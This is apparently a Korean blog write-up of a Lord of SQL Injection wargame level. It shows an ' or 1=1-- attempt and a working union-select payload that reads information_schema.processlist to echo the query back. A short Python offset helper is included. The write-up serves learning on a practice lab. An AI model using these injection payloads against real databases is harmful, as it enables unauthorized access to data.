으어어어어어ㅓ어엉ㅇ..ㅓㅓㅓㅓㅓ.....어어어ㅓㅓㅓㅓ...ㅓㅓ ㅋ........ㅗ....ㄷ.........ㅡ..ㄹ.....ㅡ...ㄹ.....ㅂ..........ㅈ.......ㅏ......
코드
이번시간에는 저번과 비슷한데, rollup, join, ace가 금지되어있다. 역시 정확한 PW가 필요하다. ace.... 아마 REPL"ace"를 금지하겠다는 거니까 QUINE은 사용치 못하겠다.
* 참 저번시간 이야기하지 않았는데, rollup은 group by와 같이 사용되는 함수로 그룹별 결과뿐만이 아니라 집계까지 보여준다.
혹시나???
try1 : ?pw=' or 1=1-- ;
역시 테이블이 텅 비어있다. 으으응어어ㅓ어어어어어ㅜㅡㅊ어어엉........해......ㄱ...ㅕ..ㄹ.......ㅂ.....ㅏㅇ......버......ㅂ......
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=%27%20union%20select%20substr(info,38,72)%20from%20information_schema.processlist--%20
Database에는 MetaData에 대한 내용을 역시 테이블로 가지고 있다. 특히 우리가 lord of sql injection에서 사용하는 MySQL은 이러한 메타정보를 묶어 하나의 DataBase로 만들었는데, 이 친구 이름이"INFORMATION_SCHEMA"이다.
아래는 MySQL의 공식 홈페이지에서 나온 Documentation이니 한 번씩 읽어 보기를 바란다.
dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/
아무튼 이번에 우리의 문제를 위해서 사용할 테이블은 Information_schema의 processist라는 테이블이다.
이 Table은 서버를 통해 동작하고 있는 스레드의(쿼리다 여기선) 정보를 가진다. 따라서 우리가 파라미터를 입력 하서 php코드를 통한 쿼리도 이 processlist의 INFO라는 칼럼에 존재하게 되고, 이를 이용해서 pw값으로 준부분만 substr 하면 입력과 같은 반환을 다시 만들 수 있을 것이다. 위치 파악을 위해서 아래의 python코드가 사용되었다.
### get_location_losi_zombie.py ###
### substr()함수에 사용될 위치를 파악하는 함수이다. ###
def get_dbsubstr_offset(target,string) :
index = string.find(target)
if(index == -1) :
return (-1,-1)
return (index+1, len(target)+1)
### 지금은 어디를 잘라야될지 모르니까 두자리라고 예상하고 XX를 썻다. ###
if __name__=="__main__" :
target = "' union select substr(info,XX,XX) from information_schema.processlist--"
string = "select pw from prob_zombie where pw='' union select substr(info,XX,XX) from information_schema.processlist-- '"
print("You can use location",get_dbsubstr_offset(target,string))
출력되는 위치는 38,72이다. 축하한다.
이번 시간에 드디어 DATABASE의 메타 정보를 읽어와 보았다. 메타정보가 담고 있는 정보가 워낙 중요한 건 사실이고, 공격에 많이 사용되는 것이 사실이다. 꼭 위의 공식 Document는 한 번씩 읽어 보기를 바란.......으ㅡㅡㅡ.......어......
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 33 - Cthulhu (0) | 2021.04.24 |
---|---|
[LOSI] Lord of SQL Injection Level 32 - Alien (0) | 2021.04.24 |
[LOSI] Lord of SQL Injection Level 30 - Ouroboros (0) | 2021.04.23 |
[LOSI] Lord of SQL Injection Level 29 - Phantom (0) | 2021.04.23 |
[LOSI] Lord of SQL Injection Level 28 - Frankenstein (0) | 2021.04.23 |